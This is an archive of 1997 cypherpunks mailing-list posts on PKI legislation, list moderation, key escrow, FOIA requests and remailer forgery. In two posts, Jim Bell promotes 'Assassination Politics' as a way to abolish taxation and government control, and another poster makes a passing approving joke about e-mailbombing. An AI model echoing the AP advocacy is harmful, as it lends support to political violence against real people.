[ Bruce M. - bkmarsh at feist.com - Feist Systems, Inc. ] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ "We don't want to get our butts kicked by a bunch of long-haired 26-year-olds with earrings." -- General John Sheehan on their reasons for InfoWar involvement From nobody at huge.cajones.com Wed Feb 5 19:27:59 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Wed, 5 Feb 1997 19:27:59 -0800 (PST) Subject: pgpmail 4.5 Message-ID: <199702060327.TAA02636@mailmasher.com> you wrote: There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming. The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'. i downloaded the same. md5 5ea438501d0133f0849c2fe8f9125b6b can someone clear this up? From haystack at holy.cow.net Wed Feb 5 19:40:47 1997 From: haystack at holy.cow.net (Bovine Remailer) Date: Wed, 5 Feb 1997 19:40:47 -0800 (PST) Subject: No Subject Message-ID: <199702060340.TAA11380@toad.com> http://www.cnn.com Congressman demonstrates ease of cell phone snooping From jimbell at pacifier.com Wed Feb 5 19:40:51 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 5 Feb 1997 19:40:51 -0800 (PST) Subject: Getting into MIT is impossible Message-ID: <199702060340.TAA11391@toad.com> At 04:50 PM 2/5/97 +0100, P.J. Westerhof wrote: >At 18:12 4-02-97 -0800, you wrote: >>Erland van Lidth de Jeude is a MIT grad. He played the big badass in "Stir >>Crazy." Computer science major, BTW. >> >He is quite a singer too (at least he was some years ago on Dutch TV). >Perhaps that made the difference. ;-) He was on the fourth floor of the west parallel of East Campus, in about 1977 as I recall. I was on the third floor. He was a wrestler; I heard he didn't have to work all that hard, he could just sit on the opponent and he'd win. Jim Bell jimbell at pacifier.com From rah at shipwright.com Wed Feb 5 19:40:53 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 5 Feb 1997 19:40:53 -0800 (PST) Subject: Deloitte-Touche, e$pam plug, Moderation, Cypherpunks as a cresote bush Message-ID: <199702060340.TAA11393@toad.com> At 4:05 pm -0500 2/5/97, Mark Voorhees wrote: >I'm almost certain that Murray is a consultant rather than >or in addition to an accountant. He's been saying these things >for years at conferences, in papers, on mailing lists, etc. For the longest time, I've had a couple of people from dtus.com on my e$pam feed. They signed on when I started my own list out of www-buyinfo. About 6 months ago, however, mail to them started bouncing out of e$, the chat list I set up as an adjunct to e$pam. Which makes sense, because that's when they stopped chatting about e$. :-). I expect that the same thing happend to e$pam, though Rachel Wilmer, who is my e$pam listmaster would have seen it, and not I. Actually, e$ has become something of a watering hole, now with about twice as many subscribers as e$pam does. Some cypherpunks among them. Oh. While we're all talking about moderation, e$pam is a sort of filtered superset of cypherpunks. I have filtered cypherpunks posts in it, but I also have stuff from the 50-odd mail lists and 70 news groups I follow. The total feed can reach 300k a day sometimes, mostly because I include the full text of stuff like some of John Young's articles, and the text of the occasional web-page which tickles my fancy. Sort of immoderate moderation. :-). You can subscribe to it on my web page, which is in my .sig, below. I've a bunch of people working with me now on e$pam, who, among other things, are in the process of getting it set up in a searchable archive. Though, to prevent crawlers from seeing all the juicy bits (cf. Mr. Young, above), we're probably going to have some kind of certificate-access scheme when we get it all running. Rodney Thayer, who's doing IPSEC stuff, (among other things :-)), is going to run a quick-and-dirty generic certification authority to make that happen. In the meantime, if you're interested in e$, or financial crypto, or other stuff I'm interested ("it don't say e$pam until Bob says it says e$pam" :-)), you might want to check it. Even though cypherpunks is a lot "cleaner" now, and I did encourage Sandy in his efforts initially, I suppose I'm now weighing in with (horrors!) Tim on the subject of moderation. I think that if Sandy and John want to create a moderated list (like I have done, though e$pam is more specific in content) out of what happens on cypherpunks, they could do it with exactly the traffic they have now in experimental moderation mode. The current machine load doesn't seem to be impacting the throughput to cypherpunks(moderated), modulo Sandy's moderation time, though if toad.com's being used for much else, there might be problems there. Part of the nice thing about cypherpunks 1.0 was that anything could happen there. That it was anarchy in practice. And, maybe because of my periodic altercations with Mr. May on this list (thank god for his kill-file :-)) even the anonymous Tim-slams were occasionally entertaining, in a, ahem, biologically curious sort of way. ;-). So, I guess I think we should put it back the way it was. Including, please Mr. Gilmore, "officially' resubscribing the Wee-vil Dr. V. Then those who've made it so can annouce to the world that cypherpunks is again a proper anarchy. Then we can us deal with miscreants the way we used to, by ignoring them, (and the occasional e-mailbomb...). Finally, I have an analogy for cypherpunks from nature. There are lots of plants, some of them the technically the largest living beings on earth, which, at first glance, look like a bunch of different individual plants. Aspen groves, for instance, are all linked together under the soil to the same system of roots, and are genetically the same individual. Some of these "stands" of trees cover tens of square miles, and one patch of Aspens, in Wyoming? Montana? is the world's largest living thing, massing several million(?) tons, and probably tens of thousands of years old. Fungi do this too. Toadstools (a rather, heh, fecund analog for cypherpunks) tend to create very large "individuals", with each toadstool representing the fruiting body for a huge bunch of mycyillia(sp?) underneath it. Toadstools create structures called, ahem, "fairy rings", where the central mushroom dies, only to be replaced by a ring of other mushrooms, which die, and so on, until they're covering your whole fucking lawn and messing up your lawnmower bag... (well, anyway, you get the idea.) There was the claim a few years ago that the same genetic individual slime mold covered half of Wisconsin (Minnesota?). The king of all the plants which do this, I think, is the cresote bush, which, I believe, in some pieces of the Sonorran(sp?) desert, cover hundreds of square miles. Scientists, using tree-ring dating, have worked back, through various rings of cresote bushes, using their very slow growth rates in the desert environment, to the center of the creosote bush cluster, to estimate the date of these things. I remember claims that these plants may have started from a single individual, there at the long dead (or at least regrown-over) center of the ring, more than a hundred, and maybe several hundred thousand years ago. So, let nature take its course. Most lists die when people stop posting to it. That certainly hasn't happened to cypherpunks. And, when it does, we can all migrate out into the numerous rings of lists that cypherpunks has spawned (I think I can account about putting together 10 or so myself) among them. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From nobody at huge.cajones.com Wed Feb 5 19:55:55 1997 From: nobody at huge.cajones.com (Huge Cajones Remailer) Date: Wed, 5 Feb 1997 19:55:55 -0800 (PST) Subject: pgpmail 4.5 Message-ID: <199702060355.TAA11714@toad.com> you wrote: There is a pgpmail45.exe at ftp.hacktic.nl/pub/replay/pub/incoming. The file has an md5 sum of 'ffd56d7647c30152a5c9fe7616a3d9ef'. i downloaded the same. md5 5ea438501d0133f0849c2fe8f9125b6b can someone clear this up? From osborne at gateway.grumman.com Wed Feb 5 19:55:56 1997 From: osborne at gateway.grumman.com (Rick Osborne) Date: Wed, 5 Feb 1997 19:55:56 -0800 (PST) Subject: [RRE FWD] PKI: 10 Public Policy Questions Message-ID: <3.0.1.32.19970205225459.009a45d0@gateway.grumman.com> C'punks- Got this off of the Red Rock Eater list, , and figured those of you not on it might like a read. _________________________________________________ From: Phil Agre To: rre at weber.ucsd.edu Subject: PKI: 10 Public Policy Questions X-Url: http://communication.ucsd.edu/pagre/rre.html [The bottom line: State legislation on digital signatures presupposes an overly centralized architecture and is weighted against victims of fraud. Pursuing inherently national or global issues on the state level permits interested parties to shop for a friendly legislature, who will then set a precedent that other jurisdictions are likely to follow. This system is biased against less politically mobilized constituencies and favors older technologies and more centralized business models.] =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= This message was forwarded through the Red Rock Eater News Service (RRE). Send any replies to the original author, listed in the From: field below. You are welcome to send the message along to others but please do not use the "redirect" command. For information on RRE, including instructions for (un)subscribing, send an empty message to rre-help at weber.ucsd.edu =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Date: Wed, 05 Feb 1997 09:48:01 -0800 From: Bradford Biddle Subject: PKI: 10 Public Policy Questions [...] * * * * * * * * * [Copyright 1997 C. Bradford Biddle; permission granted for non-commercial electronic redistribution] CFP '97: LUNCHTIME WORKSHOP, WED. MARCH 12 1997 12:30PM -2:00PM PUBLIC KEY INFRASTRUCTURES AND "DIGITAL SIGNATURE" LEGISLATION: 10 PUBLIC POLICY QUESTIONS BRAD BIDDLE* Following the lead of the state of Utah, numerous states and several foreign countries have enacted "digital signature" legislation aimed at promoting the development of a public key infrastructure (PKI). While PKI legislation has acquired significant momentum, it is not clear that lawmakers have carefully considered the public policy implications and long-term consequences of these laws. This luncheon session will explore certain policy questions related to a PKI, in an informal "open discussion" format. Ten questions we hope to address are: 1. Is legislation necessary at all? Proponents of digital signature legislation start with the premise that the need for a PKI is clear: public key cryptography and verifiable certificates offer the best hope for sending secure, authentic electronic messages over open networks, thereby facilitating electronic commerce. They argue that the reason that the commercial marketplace has not produced a viable certification authority (CA) industry is because of legal uncertainty (CAs are unable to determine their potential liability exposure because of a confusing array of applicable background law) or because existing law imposes too much liability on CAs. Thus, proponents argue, legislation is necessary in order to provide certainty in the marketplace and allow a much-needed industry to emerge, as well as to address other issues such as the legal status of digitally signed documents. Opponents of this view assert that it is far too soon to conclude that the market will not produce commercial CAs, and point to the increasing numbers of commercial CAs emerging even in the absence of legislation. Time is solving the "uncertainty" problem, opponents argue, and the "too much liability" problem is the product of flawed business models, not a flawed legal system. Opponents of legislation argue that the real danger is that a group of lawyers will impose a set of flawed rules that will fundamentally skew a dynamic infant marketplace and "lock in" a set of business models that the market would otherwise reject. The time for legislation and regulation is after identifiable problems exist in a mature industry, opponents say, not before an industry even exists. Opponents of legislation further argue that existing legal mechanisms can address the issue of the legal status of digitally signed documents. 2. Where should PKI legislation occur? Debate also occurs over the appropriate jurisdictional level for digital signature legislation. Some observers cringe at the thought of 50 inconsistent state digital signature laws; others believe that CAs and consumers will opt-in to the most sensible legislative scheme, and thus believe that competition between the states is helpful. Proponents of uniformity and consistency argue for PKI legislation at the federal or international level; opponents of this view point out that general commercial law has long been the province of state legislatures. 3. Is licensing of Certification Authorities the right approach? Under the Utah Digital Signature Act ("Utah Act") and much of the subsequent PKI-related legislation CAs are licensed by the state. The Utah Act makes licensing optional: CAs that obtain licenses are treated with favorable liability rules, but non-licensed CAs may exist in Utah. Licensing is a highly intrusive form of government regulation (other, less intrusive methods of regulation include mandatory disclosure requirements, altering liability rules to avoid externalized costs, bonding or insurance requirements, etc.). Typically, licensing as a form of regulation is reserved for circumstances where a market flaw cannot be addressed by other, less intrusive means. Does this sort of dynamic exist with CAs? Would consumers be able to make informed, rational choices between CAs? Could an incompetent CA cause irreparable harm? Could other types of regulation address any relevant market flaws? If unlicensed practitioners are allowed to exist, subject to different liability rules, how will this affect the CA market? 4. Should legislation endorse public key cryptography, or be "technology neutral"? Most of the digital signature legislation to date has focused specifically on digital signatures created using public key cryptography. Some legislation has also addressed the issue of "electronic signatures" -- other, non-public key methods of authenticating digital transmissions. Proponents of biometric authentication methods argue that it is foolish to legislatively enshrine public key cryptography as the only technology capable of authenticating an electronic document. They argue that biometric methods can currently accomplish many of the same goals as digital signatures; they further argue that by precluding other technologies future innovations will be discouraged. They also note that public key cryptography can only be implemented using patents owned by a limited number of commercial entities, and question whether it is wise public policy to legislatively tie electronic commerce so closely to the interests of a few private sector actors. 5. Should legislation endorse the X.509 paradigm? When the Utah Act was enacted, it explicitly endorsed the X.509 infrastructure model. Subsequent laws have dropped the explicit endorsement of X.509, but nonetheless remain true to the X.509 paradigm. Under most digital signature legislation, certificates serve to bind an individual's *identity* to a particular public key. This binding is accomplished in the context of a rigid, hierarchical CA infrastructure. This model has been criticized for two main reasons: global CA hierarchies are almost certainly unworkable, and identity certificates often provide too much information -- frequently an "attribute" or "authority" certificate will do. Alternative certificate formats, such as SDSI and SPKI, have emerged in response to these and other perceived flaws with the X.509 model. However, it is not clear that these alternative certificate formats can be accommodated under current digital signature legislation. 6. How should liability and risk be allocated in a PKI? Liability allocation promises to be a vexing problem in a PKI. The liability issue is most dramatic in the context of fraud. An impostor can obtain the private encryption key associated with a particular party and create electronic documents purporting to be from that party. A second party may enter into an electronic contract relying on these ostensibly valid documents, and a loss may occur. Who should bear this loss? In the paper world, generally one cannot be bound by a fraudulent signature. This principle may not be entirely appropriate in an electronic context, however. In a PKI, the integrity of the infrastructure depends upon the security of private encryption keys. If a key holder bears no liability for fraudulent use of that private key, perhaps he or she may not have adequate incentive to keep the private key secure. How much liability should the private key holder bear? Under the Utah Act and its progeny, an individual who negligently loses control of their private key will bear unlimited liability. This risk allocation scheme raises the specter of consumers facing immense losses -- as one commentator puts it: "Grandma chooses a poor password and loses her house." In contrast, consumer liability for negligent disclosure of a credit card number is generally limited to $50. If consumer liability were similarly limited in a PKI, where would the risk of loss fall? If CAs had to act as an insurer in all transactions, the price of certificates would likely be extraordinarily high. If relying third parties faced the risk that ostensibly valid documents may in fact be forgeries and bear any resulting loss, then some benefits of a PKI are lost. 7. What mechanisms should be used to allocate risk? Currently at least one commercial certification authority, VeriSign, is attempting to allocate risk to both certificate subjects and relying third parties by contract. VeriSign includes significant warranty disclaimers, liability limitations, and indemnification provisions in its Certification Practices Statement (CPS). Certificate applicants agree to be bound by the CPS when obtaining a certificate. VeriSign's web page informs relying third parties that the act of verifying a certificate or checking a certificate revocation list indicates agreement to the terms of the CPS. However, it is not clear that a binding contract can be formed with relying third parties in this fashion. Thus the relationship between VeriSign and relying parties may not be governed by the CPS at all, but instead be subject to default contract and tort rules (which would be less favorable to VeriSign). As a policy matter, should CAs be able to form contracts with relying third parties, despite their rather attenuated connection? If relying parties will be bound by unilateral contracts imposed by CAs, they face significant transaction costs involved with determining the contract terms offered by potentially numerous CAs. If CAs cannot scale their potential liability exposure to third parties by contract, however, it may be impossible for CAs to compete on warranty terms -- and presumably such terms would otherwise be the subject of significant competition. 8. Should digitally-signed documents be considered "writings" for all legal purposes? The Utah Act and most other digital signature laws provide that digitally signed documents have the same legal effect as writings. Critics have noted that while most of the functions or goals of writing requirements may be served by electronic documents, this may not be true in all instances. For example, the law often requires a written instrument to effect notice -- i.e., to alert an individual that a lien has been filed on their property. It is not clear that a digitally signed electronic message would achieve the same effect. Additionally, there are other contexts -- such as wills or adoption papers -- where paper documents may prove more effective than electronic documents. Moreover some paper documents (such as bank drafts or warehouse receipts) are negotiable instruments, and this negotiable character depends upon the existence of a single, irreproducible copy of the document. Thus, critics say, digital signature legislation should not override all writing requirements without separately considering the extent to which sound policy might require retention in specific circumstances. 9. How much evidentiary weight should a digitally-signed document carry? Evidentiary issues, though seemingly arcane and procedural, can raise important public policy concerns. For example, the Utah Act creates a presumption that the person who owns a particular key pair used to sign a document in fact did sign the document. Holding an individual presumptively bound by obligations entered into under their digital signature could be inequitable if the individual is the victim of the fraudulent use of such a signature. This potential problem can be compounded by the evidentiary weight assigned to digitally-signed documents. Under the Utah Act digitally-signed documents are accorded the same evidentiary weight as notarized documents, and someone challenging the authenticity of such a document can overcome the presumption of authenticity only with "clear and convincing evidence" (in contrast, one can overcome the presumption of validity of a paper signature simply by denying that it is one's signature). Critics of the Utah Act's approach argue that providing digitally-signed documents with this status creates unreasonable evidentiary burdens for victims of fraud challenging the validity of electronic documents signed with the victim's private key. 10. Should governments act as CAs? Much of the currently enacted digital signature legislation envisions state government agencies acting as "top level" certification authorities who in turn certify a second tier of private sector CAs. At the federal level, the U.S. Postal Service has declared its intention to act as a CA on a nationwide basis. Should governments be acting in this sort of role? Critics say no, arguing that government involvement will skew an emerging private sector CA marketplace. Government actors may face very different liability rules than private sector market participants -- governments can choose to scale their potential liability exposure through the doctrine of sovereign immunity. Thus, critics argue, government CAs may "win" in the marketplace not because they are more efficient or provide better service, but rather because they can stack the rules in their favor. Proponents of government involvement argue that governments can play an important role precisely because they can create sensible ground rules for all PKI participants. Additionally, they note that governments have existing relationships with all of their citizens, making the process of identification and public key binding that much easier. ---------------------------------------------------------------------------- -------------- * Brad Biddle is the author of "Misplaced Priorities: The Utah Digital Signature Act and Liability Allocation in a Public Key Infrastructure," which appears in Volume 33 of the San Diego Law Review, and serves as Vice Chair of the Electronic Commerce Subcommittee of the American Bar Association's Committee on the Law of Commerce in Cyberspace. He is a third-year law student at the University of San Diego and is a law clerk in Cooley Godward LLP's San Diego office, where he served on the legal team advising the Internet Law and Policy Forum's Working Group on Certification Authority Practices. He can be contacted by phone at (619) 550-6301 or by e-mail at biddlecb at cooley.com. _________________________________________________ _________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________ Most obscure warning: If you fork() without ever waiting on your children, you will accumulate zombies. -PERLFUNC man page From shamrock at netcom.com Wed Feb 5 19:56:02 1997 From: shamrock at netcom.com (Lucky Green) Date: Wed, 5 Feb 1997 19:56:02 -0800 (PST) Subject: Cypherpunks FOIA request Message-ID: <199702060356.TAA11723@toad.com> At 12:40 AM 2/5/97 -0800, Greg Broiles wrote: >I'm not sure what I think about the response from the SF FBI branch - it >seems unlikely that they'd never have paid any attention to the list, given >the media coverage in Wired and other places. My attorney used to fly planes with nuclear cargo. Another friend of mine has been visited several times by the FBI. In either case, the FBI claimed upon receiving an FOIA request that they have no record on either person. Does anybody here believe that the USAF would let pilots take off with nukes on board without ever conducting a background investigation (which are handled by the FBI)? I didn't think so. -- Lucky Green PGP encrypted mail preferred "I do believe that where there is a choice only between cowardice and violence, I would advise violence." Mahatma Gandhi From cminter at mipos2.intel.com Wed Feb 5 19:56:09 1997 From: cminter at mipos2.intel.com (Corey Minter) Date: Wed, 5 Feb 1997 19:56:09 -0800 (PST) Subject: mail list / sequence number & signature Message-ID: <199702060356.TAA11738@toad.com> Have the list maintainers ever considered either or both of the following... (Sorry in advance if this has been brought up sometime in the past.) o adding a digital signature from "owner-cypherpunks at toad.com", so someone can't mass mail the mailing list and make it appear that the message came from toad.com. I just tried to figure out if the id in the header is in any order but I couldn't tell. I have already deleted many messages so some numbers are missing anyway. o adding a sequence number to every message which comes through toad.com, so recipients can easily notice if mail is be accidentially or intentionally filtered by their service provider or any other forces. At the same time, you could add the current numbers for flame vs. non-flame. This would help end all the bandwidth wasted on people speculating about the numbers. say there are X total messages, Y non-flames, and Z flames then the appearance to subscriber (either in the subject or some header field) could be... list type | all non-flame flame ---- | --- --------- ----- non-flame | X (non-flame Y) Y (all X) flame | X (flame Z) Z (all X) -- Of course... these are my opinions, not my employer's. ______________________________________________________________________ Corey Minter | cminter at mipos2.intel.com | ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From jimbell at pacifier.com Wed Feb 5 19:57:50 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 5 Feb 1997 19:57:50 -0800 (PST) Subject: Letter Re: Kahn Supporting GAK Message-ID: <199702060357.TAA11777@toad.com> At 05:16 AM 2/5/97 +0000, Robert Rothenburg 'Walking-Owl' wrote: >My letter to Long Island Newsday regarding David Kahn's pro-GAK >editorial was published today. You can read it at > > http://www.newsday.com/mainnews/rnmi052u.htm > >What's odd (?) is how they editied it. I directed my comments toward >Mr. Kahn's views, which they changed to "Newsday" (odd, since I've >never seen them print an editorial one way or another on GAK; does >this mean they are taking a stand? -- Kahn is an editor at Newsday). > >I wrote "The greatest flaw in the argument is it's very reason, >'criminals... are increasingly using encryption to conceal their plans >and activities'" which they changed to "It reports...". I never >considered an op-ed piece as "reporting", even if it states a fact. But which "criminals," exactly, are "increasingly using encryption to conceal their plans and activities"? Let's not concede this unless it's really true. It would be far more accurate to say that it's likely that many people who are politically hostile to their government are using encryption in anticipation of persecution by the government, persecution that could easily come in the form of criminal charges. Jim Bell jimbell at pacifier.com From WlkngOwl at unix.asb.com Wed Feb 5 19:59:16 1997 From: WlkngOwl at unix.asb.com (Robert Rothenburg 'Walking-Owl') Date: Wed, 5 Feb 1997 19:59:16 -0800 (PST) Subject: Letter Re: Kahn Supporting GAK Message-ID: <199702060359.TAA11787@toad.com> Good point: but I've seen a few refs from LEAs about "Drug Dealer X who we can't talk about" or "Child Pornographer Y who we can't talk about" (in lieu of cases being digested by the court system) so I didn't harp on that point. A point I did leave out was that if they already knew these people were criminals and were building cases against them, monitoring them enough to know they used crypto, then do they really need to bother with listening in to the exact message? I wanted to emphasize the phallacy of the sacrifical lamb of rights in the name of the god of security. Also, they mungled the letter enough, so it's better for LI Newsday (which caters to a reading level of the average 12-year-old) submissions to be kept short and sweet. I'm quite surprised that mine is the only letter they printed. Certainly they would have gotten more than one submission on a controversial subject? --Rob On 5 Feb 97 at 18:22, jim bell wrote: > But which "criminals," exactly, are "increasingly using encryption to > conceal their plans and activities"? Let's not concede this unless it's > really true. > > It would be far more accurate to say that it's likely that many people who > are politically hostile to their government are using encryption in > anticipation of persecution by the government, persecution that could easily > come in the form of criminal charges. > > > Jim Bell > jimbell at pacifier.com > > ----- "The word to kill ain't dirty | Robert Rothenburg (WlkngOwl at unix.asb.com) I used it in the last line | http://www.asb.com/usr/wlkngowl/ but use a short word for lovin' | Se habla PGP: Reply with the subject and dad you wind up doin' time." | 'send pgp-key' for my public key. From bkmarsh at feist.com Wed Feb 5 19:59:23 1997 From: bkmarsh at feist.com (Bruce M.) Date: Wed, 5 Feb 1997 19:59:23 -0800 (PST) Subject: Deloitte-Touche? Message-ID: <199702060359.TAA11793@toad.com> On Wed, 5 Feb 1997, Marshall Clow wrote: > Mr. Murray gave a long, impassioned speech. > > He was very emphatic about not trusting anything > that the government says, and that once they got > their "foot in the door", that they would seek to > expand their abilities to regulate, etc, etc. > > He advocated deployment of strong crypto. He > insisted that there was no way the government > could stop the export of strong crypto. He exhorted > people to refuse to obey the ITAR/EAR regulations, > and to lobby their congresscritters to get the > PRO-CODE bill passed. > > It wasn't really what he said that amazed me, because > I had heard most of it (in bits and pieces) before. It > was presenting it all in a package, in an emotional > manner, by an elderly, conseratively dressed > accountant who was representing a large > corporation whose job it is to help people obey the > government. I was in attendance at an ISSA conference earlier this year where Mr. Murray gave the "keynote" speech on Electronic Commerce. While he did strongly advocate the adoption of strong crypto and various methods of security, he never stepped into the more radical mode of encouraging people to break the law. That was a different audience though. As he is also an ex-25 year IBM veteran it amazes me that he would make such a public outcry against govt. regulations (okay, so it's a stereotype). Deloitte & Touche must really have a big stake in the pro-crypto market or else he actually cares a lot. ____________________________________________________ [ Bruce M. - bkmarsh at feist.com - Feist Systems, Inc. ] ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ "We don't want to get our butts kicked by a bunch of long-haired 26-year-olds with earrings." -- General John Sheehan on their reasons for InfoWar involvement From jimbell at pacifier.com Wed Feb 5 20:00:32 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 5 Feb 1997 20:00:32 -0800 (PST) Subject: Fighting the cybercensor Message-ID: <199702060400.UAA20586@mail.pacifier.com> At 04:35 PM 2/5/97 -0800, Sean Roach wrote: >At 09:09 PM 2/4/97 -0800, jim bell wrote: >>However, fortunately I don't think it would make any difference in the >>overall effects. While AP would eliminate the taxation which is commonly >>thought of as the main way a "rich person" loses assets, in practice it >>would also shut down the well-hidden systems that allow some people to get >>rich (or, merely live off somebody else) "unfairly." Government agents >>come to mind, of course. >> >The money doesn't necessarily come from taxation, the owner of a business >takes a cut of whatever money is made even if that person is unproductive. >The tyrant would be the owner of the industry. The kind of effects I'm thinking of are primarily the "military spending" situations, where: 1. Large numbers of potentially competent and useful people get put into useless jobs: "Army, Navy, and Marines, and Air Force" spring to mind. (Those people who still think military spending is really necessary obviously haven't read AP.) 2. Large amounts of money are spent on military hardware, money which goes to fund people who would otherwise develop useful products in the non-government private sector. 3. The patent system decreases competition, increases profits and prices in the marketplace due to government actions to allow and enforce monopolies. 4. Government employees are paid more for their activities than they would receive in the private sector. Ironically, in this case an "apples-to-apples" comparison is misleading: It would be wrong to compare a middle level government manager to his counterpart in private industry, because to postulate there is such a government-job assumes that the private-sector would do it post-AP. >If you are right then governments would effectively lose the ability to tax, >with or without representation, as most people do not agree on everything, >like how their money is spent. However, even now, as pointed out in some >recent posts, our tax money is used to foreward the goals of a few, these >few want to eliminate guns, crypto, free speech, ect. Although we are in >oppostition, our money is still used to foreward the goals. Yes, the main effect of AP is the elimination of the ability to tax. Now, nothing would prevents individuals from continuing to fund an organization called a "government" so that it could do those (non-coercive) things that individual wants to see done. But I think it'll be amazing how many of those heretofore-funded-by-govt projects (previously promoted as being wanted by a large fraction of the citizenry) that evaporate when the public is given the option to continue to fund them voluntarily. Let's suppose, hypothetically and for vast simplification, the government engages in two activities, "A" and "B." Further suppose government taxes from two groups, let's call them "Alphas" and "Betas." It is traditionally thought that Alphas like spending on "A", but hate spending on "B". Likewise, it is figured that Betas like spending on "B", don't like spending on "A". Post-AP, one might innocently suspect that maybe the "Alphas" would simply fund only "A", while Betas" would donate money for activity "B". Assuming the amount of funding for those activities was equal, you might think that things could go on as they already do. But no. The reality is that "Alphas" merely like spending on "A" _more_ than they do "B", and they will tolerate their own money being used for both only because the "Betas" are similarly forced. Add volunteerism to the whole mix, and not only would these two groups only fund just what they really wanted, they would soon discover they don't even want the level of spending they previously argued for, pre-AP. In practice, those services people like will continue, but it is highly unlikely that they will be supply by organizations which evolve from those currently called "governments." Jim Bell jimbell at pacifier.com From jimbell at pacifier.com Wed Feb 5 20:00:54 1997 From: jimbell at pacifier.com (jim bell) Date: Wed, 5 Feb 1997 20:00:54 -0800 (PST) Subject: John's: In anarchy -everyone responsible Message-ID: <199702060400.UAA20601@mail.pacifier.com> At 02:41 PM 2/5/97 +0000, Attila T. Hun wrote: > >+Put simply, "anarchy is not the lack of order. It is the lack of >+_orders_." > > disagree. pure anarchy is not the lack of "orders" --pure anarchy > implies that everyone is imbued with that perfect sense of > responsibility. >From which hat do you pull this rabbit? > >+> anarchy is only possible in an ideal world where _everyone_ >+> assumes not only responsibility for themselves, but for the common >+> good. no malice, no greed, no need for assassination politics.... > >+No, that's traditional thinking and that's wrong. See AP part 8. >+Freud believed (as "everyone" else believed, even myself, before AP) >+that anarchy was inherently unstable. But it ISN'T, if the tools of >+AP are used to stabilize it. And no, no altruism is necessary for AP >+to work as well; no individuals are being asked to sacrifice >+themselves for the common good. Rather, they are given the >+opportunity to work to achieve a reward offered, cumulatively, by a >+number of citizens. > > aah, but that is the difference between a _pure_ anarchy and a > _popular_ anarchy. A pure _anarchy_ is sufficiently idealistic in > that _noone_ lacks the necessary resonsibility to keep society > moving, each individual in their own niche. Why, exactly, is it "necessary" to "keep society moving"? Isn't that somewhat of a contradiction in terms? (particularly when you are discussing the subject, "anarchy." It seems you don't really understand what the word "anarchy" means. Sigh. > As long as there is > perfect responsibility in a perfect anarchy, then there is no need > for AP. Are you saying that for a world that has ALREADY achieved anarchy, and we presume "perfect responsibility," AP is not necessary to maintain this state? Well, that's a rather limited assertion; some would argue it's practically meaningless. Isn't that somewhat like saying, "A perfectly-balanced inverted pendulum needs no mechanism to keep it pointing straight up."? True, perhaps, but how do you get that "perfectly-balanced" part right? > AP is a negative, or _punative_, influence; I might liken it to the > Catholic Church which is a religion of fear, and an instrument of > political control. Actually, it's quite the opposite: AP is the absolute prohibition on and/or destruction of any "instrument of political control." Now, to a person who thinks that the natural state of the world is a condition of political control (and it wouldn't be hard to understand why a person could come to this conclusion, given the bulk of history), the ABSENSE of political control "looks like" political control. This is, obviously, akin to the optical illusion where you stare intently at a pattern of color on a page (the American flag is often used) for a minute or two, and then you suddenly glance towards a white sheet of paper on which, as I recall, immediately appears a complementary flag of green and black stripes, and black stars on a yellow field. AP destroys the mechanisms that societies use for much political control. Jim Bell jimbell at pacifier.com From declan at pathfinder.com Wed Feb 5 20:32:21 1997 From: declan at pathfinder.com (Declan McCullagh) Date: Wed, 5 Feb 1997 20:32:21 -0800 (PST) Subject: your mail In-Reply-To: <199702060340.TAA11380@toad.com> Message-ID: Heh. On the ISP-TV show that Brock Meeks and I co-host, two weeks ago we not only described how easy it was to modify a handheld radio, we had a guest who demo'd cell-snooping on the air. -Declan On Wed, 5 Feb 1997, Bovine Remailer wrote: > http://www.cnn.com > > Congressman demonstrates > ease of cell phone snooping > > > > > From stewarts at ix.netcom.com Wed Feb 5 20:35:17 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 5 Feb 1997 20:35:17 -0800 (PST) Subject: mail-to-news fun In-Reply-To: <19970205054436.4083.qmail@anon.lcs.mit.edu> Message-ID: <3.0.1.32.19970205203149.00603c20@popd.ix.netcom.com> At 02:18 AM 2/6/97 -0000, you wrote: >Unfortunately, you don't really have a choice about what kind of >speech you are supporting if you run a remailer. Don't fall into the >trap of saying, "I want to give people complete freedom of anonymous >speech... EXCEPT...." As abhorrent as we may find the homophobic >hatemongers from the "freedom-knights" list, I guarantee a lot of >politicians would object more strongly to the "Help, I might be gay >and my parents will kill me" post. Once you set up a system for >content-based censorship, don't think you can stay in control of it. The problem isn't homophobic hatemongers who use their own names or nyms or no name, or even get my remailer's name associated with that - I can reply to complaints or file them in the handy bit bucket. The problem is forgers signing _other_ people's names to their hatemonger postings, causing the innocent third party to catch all the flames that the forger was trying to generate. Stewart wrote: >> On the other hand, I don't want to support postings titled >> "ALL FAGS MUST DIE" with a forged signature and email at the bottom, >> and I especially don't want to post that from my remailer without >> indicating that anything posted by a remailer might be forged. >> That's why I shut down my previous remailer - the forger only >> posted one forged message; the person whose name got forged >> got flamed severely by dozens of people who objected to "her" posts. >> Blocking the gay newsgroups cuts down on that kind of trolling, >> but also cuts out the "Help, I might be gay and my parents will kill me" >> traffic that remailers are supposed to help with. Guess I should have been more clear.... >As for forgery, I do add > X-Warning: Sender address is unverified and may not be authentic. >to every article that goest through my mail2news gateway. Does anybody read X-Warning: headers? Not all newsreaders even show all the headers. It's a good start, and that's clearly the place in the system to insert it. 